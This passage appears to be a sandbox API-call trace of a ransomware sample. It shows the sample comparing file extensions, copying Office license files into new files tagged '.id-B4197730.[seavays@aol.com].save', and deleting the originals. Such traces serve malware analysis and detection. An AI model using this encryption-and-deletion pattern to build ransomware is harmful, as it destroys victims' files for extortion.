[0195.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0195.613] lstrlenW (lpString=".jpg") returned 4 [0195.613] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.614] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.614] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.616] GetLastError () returned 0x0 [0195.752] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d38, lpOverlapped=0x0) returned 1 [0195.753] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d40, lpOverlapped=0x0) returned 1 [0195.754] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.754] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x106, lpOverlapped=0x0) returned 1 [0195.755] SetEndOfFile (hFile=0x45c) returned 1 [0195.755] CloseHandle (hObject=0x45c) returned 1 [0195.755] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.755] SetEndOfFile (hFile=0x554) returned 1 [0195.758] CloseHandle (hObject=0x554) returned 1 [0195.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 1 [0195.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0195.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0195.762] lstrlenW (lpString=".doc") returned 4 [0195.762] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.762] lstrlenW (lpString=".docx") returned 5 [0195.762] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.763] lstrlenW (lpString=".pdf") returned 4 [0195.763] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.763] lstrlenW (lpString=".xls") returned 4 [0195.763] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.763] lstrlenW (lpString=".xlsx") returned 5 [0195.763] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.763] lstrlenW (lpString=".ppt") returned 4 [0195.763] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0195.763] lstrlenW (lpString=".zip") returned 4 [0195.763] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.763] lstrlenW (lpString=".rar") returned 4 [0195.763] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.763] lstrlenW (lpString=".bz2") returned 4 [0195.763] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.763] lstrlenW (lpString=".7z") returned 3 [0195.763] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0195.763] lstrlenW (lpString=".dbf") returned 4 [0195.763] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0195.763] lstrlenW (lpString=".1cd") returned 4 [0195.763] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0195.763] lstrlenW (lpString=".jpg") returned 4 [0195.763] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.764] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.764] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.766] GetLastError () returned 0x0 [0195.766] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0195.768] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0195.769] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.769] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x106, lpOverlapped=0x0) returned 1 [0195.769] SetEndOfFile (hFile=0x45c) returned 1 [0195.770] CloseHandle (hObject=0x45c) returned 1 [0195.770] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.770] SetEndOfFile (hFile=0x554) returned 1 [0195.774] CloseHandle (hObject=0x554) returned 1 [0195.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 1 [0195.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0195.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0195.776] lstrlenW (lpString=".doc") returned 4 [0195.776] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.776] lstrlenW (lpString=".docx") returned 5 [0195.776] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.776] lstrlenW (lpString=".pdf") returned 4 [0195.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.776] lstrlenW (lpString=".xls") returned 4 [0195.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.777] lstrlenW (lpString=".xlsx") returned 5 [0195.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.777] lstrlenW (lpString=".ppt") returned 4 [0195.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0195.777] lstrlenW (lpString=".zip") returned 4 [0195.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.777] lstrlenW (lpString=".rar") returned 4 [0195.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.777] lstrlenW (lpString=".bz2") returned 4 [0195.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.777] lstrlenW (lpString=".7z") returned 3 [0195.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0195.777] lstrlenW (lpString=".dbf") returned 4 [0195.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0195.777] lstrlenW (lpString=".1cd") returned 4 [0195.777] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0195.777] lstrlenW (lpString=".jpg") returned 4 [0195.777] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.778] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.778] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.779] GetLastError () returned 0x0 [0195.780] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x5780, lpOverlapped=0x0) returned 1 [0195.782] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5790, lpOverlapped=0x0) returned 1 [0195.783] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.783] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0195.784] SetEndOfFile (hFile=0x45c) returned 1 [0195.784] CloseHandle (hObject=0x45c) returned 1 [0195.784] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.784] SetEndOfFile (hFile=0x554) returned 1 [0195.787] CloseHandle (hObject=0x554) returned 1 [0195.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 1 [0196.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0196.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0196.655] lstrlenW (lpString=".doc") returned 4 [0196.655] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.655] lstrlenW (lpString=".docx") returned 5 [0196.655] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.655] lstrlenW (lpString=".pdf") returned 4 [0196.655] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.655] lstrlenW (lpString=".xls") returned 4 [0196.655] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.655] lstrlenW (lpString=".xlsx") returned 5 [0196.655] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.655] lstrlenW (lpString=".ppt") returned 4 [0196.655] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0196.655] lstrlenW (lpString=".zip") returned 4 [0196.655] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.655] lstrlenW (lpString=".rar") returned 4 [0196.655] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.655] lstrlenW (lpString=".bz2") returned 4 [0196.655] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.655] lstrlenW (lpString=".7z") returned 3 [0196.655] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0196.655] lstrlenW (lpString=".dbf") returned 4 [0196.655] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0196.656] lstrlenW (lpString=".1cd") returned 4 [0196.656] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0196.656] lstrlenW (lpString=".jpg") returned 4 [0196.656] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.657] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.657] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0196.658] GetLastError () returned 0x0 [0196.659] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0196.661] WriteFile (in: hFile=0x524, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0196.662] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.662] WriteFile (in: hFile=0x524, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0196.663] SetEndOfFile (hFile=0x524) returned 1 [0196.663] CloseHandle (hObject=0x524) returned 1 [0196.663] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.663] SetEndOfFile (hFile=0x370) returned 1 [0196.666] CloseHandle (hObject=0x370) returned 1 [0196.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-pl.xrm-ms")) returned 1 [0196.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0196.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0196.668] lstrlenW (lpString=".doc") returned 4 [0196.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.668] lstrlenW (lpString=".docx") returned 5 [0196.669] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.669] lstrlenW (lpString=".pdf") returned 4 [0196.669] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.669] lstrlenW (lpString=".xls") returned 4 [0196.669] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.669] lstrlenW (lpString=".xlsx") returned 5 [0196.669] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.669] lstrlenW (lpString=".ppt") returned 4 [0196.669] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0196.669] lstrlenW (lpString=".zip") returned 4 [0196.669] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.669] lstrlenW (lpString=".rar") returned 4 [0196.669] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.669] lstrlenW (lpString=".bz2") returned 4 [0196.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.669] lstrlenW (lpString=".7z") returned 3 [0196.669] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0196.669] lstrlenW (lpString=".dbf") returned 4 [0196.669] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0196.669] lstrlenW (lpString=".1cd") returned 4 [0196.669] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-pl.xrm-ms") returned 87 [0196.669] lstrlenW (lpString=".jpg") returned 4 [0196.669] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.671] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.671] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0196.672] GetLastError () returned 0x0 [0196.672] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0196.675] WriteFile (in: hFile=0x524, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0196.677] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.677] WriteFile (in: hFile=0x524, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x120, lpOverlapped=0x0) returned 1 [0196.677] SetEndOfFile (hFile=0x524) returned 1 [0196.677] CloseHandle (hObject=0x524) returned 1 [0196.677] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.677] SetEndOfFile (hFile=0x370) returned 1 [0196.682] CloseHandle (hObject=0x370) returned 1 [0196.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 1 [0196.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0196.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0196.684] lstrlenW (lpString=".doc") returned 4 [0196.684] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.684] lstrlenW (lpString=".docx") returned 5 [0196.684] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.684] lstrlenW (lpString=".pdf") returned 4 [0196.684] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.684] lstrlenW (lpString=".xls") returned 4 [0196.684] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.684] lstrlenW (lpString=".xlsx") returned 5 [0196.684] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.684] lstrlenW (lpString=".ppt") returned 4 [0196.684] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0196.684] lstrlenW (lpString=".zip") returned 4 [0196.684] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.684] lstrlenW (lpString=".rar") returned 4 [0196.684] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.684] lstrlenW (lpString=".bz2") returned 4 [0196.684] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.684] lstrlenW (lpString=".7z") returned 3 [0196.685] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0196.685] lstrlenW (lpString=".dbf") returned 4 [0196.685] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0196.685] lstrlenW (lpString=".1cd") returned 4 [0196.685] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0196.685] lstrlenW (lpString=".jpg") returned 4 [0196.685] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.686] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.686] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0196.687] GetLastError () returned 0x0 [0196.687] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0196.896] WriteFile (in: hFile=0x524, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: 